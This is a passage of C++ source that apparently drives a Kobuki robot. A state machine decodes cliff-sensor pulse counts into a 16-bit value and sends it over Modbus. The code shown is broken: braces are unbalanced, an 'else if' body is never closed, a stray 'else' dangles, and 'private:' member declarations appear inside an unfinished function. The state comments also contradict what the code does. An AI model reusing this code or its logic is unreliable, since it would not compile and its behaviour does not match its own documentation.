        std::cerr << "state: " << state << std::endl;
    } else {
        state = 4;
        std::cerr << "state: " << state << std::endl;
    }
} else {
    finalNumber = 0;
    finalNumberLength = 0;
    state = 1;
    std::cerr << "state: " << state << std::endl;
}
    currReadNum = 1;
}
else if (state == 4 && trans == 2) {

currReadNum++;

//transit 1->0
else if (state == 4 && trans == 1) {
    bool findNum = false;
    int i = 0;
    //std::cout << "currReadNum: " << currReadNum << std::endl;
    //find the shift number
    while (!findNum && i < 8) {
        if (currReadNum >= oneMinRead[i] && currReadNum <= oneMaxRead[i]) {
            findNum = true;
        }
        i++;
    } //while

    std::cerr << "i: " << i << std::endl;
    if (i < 8) {
        if ((i + finalNumberLength) > 16) {
            i = 16 - finalNumberLength;
        }
    }

    for (int k = 0; k < i; k++) {
        finalNumber <<= 1;
finalNumber |= 0x1;
}
finalNumberLength += i; // final number length
if (finalNumberLength == 16) {
    state = 5;
    std::cerr << "state: " << state << std::endl;
}
else {
    state = 3;
    std::cerr << "state: " << state << std::endl;
}
else { // value not found
finalNumber = 0;
finalNumberLength = 0;
state = 1;
std::cerr << "state: " << state << std::endl;
}  
currReadNum = 1;
}
// write to modbus
else if (state == 5) {

    firstEightBit = finalNumber & 0x00FF;
    std::cerr << firstEightBit << std::endl;
secondEightBit = finalNumber & 0xFF00;
secondEightBit >>= 8;
std::cerr << secondEightBit << std::endl;
gotTheValue = true;

state = 1;
currReadNum = 0;
std::cerr << "state: " << state << std::endl;
}

if(gotTheValue){

int rc;
rc = modbus_write_bit (ctx, secondEightBit, firstEightBit);

if (rc != 1) {
printf ("ERROR modbus_write_bit (%d)\n", rc);
printf ("(%s)\n", modbus_strerror (errno));
}
}

prevReadNum = currReadNum;
prevTrans = trans;
prevRange = currRange;
leftCliffLastRead = leftCliff;

private:

modbus_t *ctx;

int leftCliffLastRead = 0;
int leftCliff = 0;

/*
state values
1 not met start pulse 0000
2 in start pulse possible 0001
3 met start pulse 0010
4 read ones
5 read zeros
6 finish the 16 bits read
*/

unsigned int state = 1;
int currRange = 2;
int prevRange = 2;

int trans = -1;
int prevTrans = -1;

bool inZeroRange = false;
bool inOneRange = false;
int currReadNum = 0;
int prevReadNum = 0;

/*
   number of read for each repeat of 0 or 1
*/
const int zaroMinRead[8] = { 4, 10, 17, 23, 30, 35, 40, 50 };
const int zaroMaxRead[8] = { 9, 16, 22, 29, 34, 39, 49, 60 };
const int oneMinRead[8] = { 4, 10, 17, 23, 30, 35, 40, 50 };
const int oneMaxRead[8] = { 9, 16, 22, 29, 34, 39, 49, 60 };

/* final number */

unsigned int finalNumber = 0;
unsigned int finalNumberLength = 0;
unsigned int firstEightBit = 0;
unsigned int secondEightBit = 0;
bool gotTheValue = false;
kobuki::Kobuki kobuki;
ecl::Slot <> slot_stream_data;
};
int main ()
{
    KobukiManager kobuki_manager;
    kobuki_manager.spin ();
    return 0;
}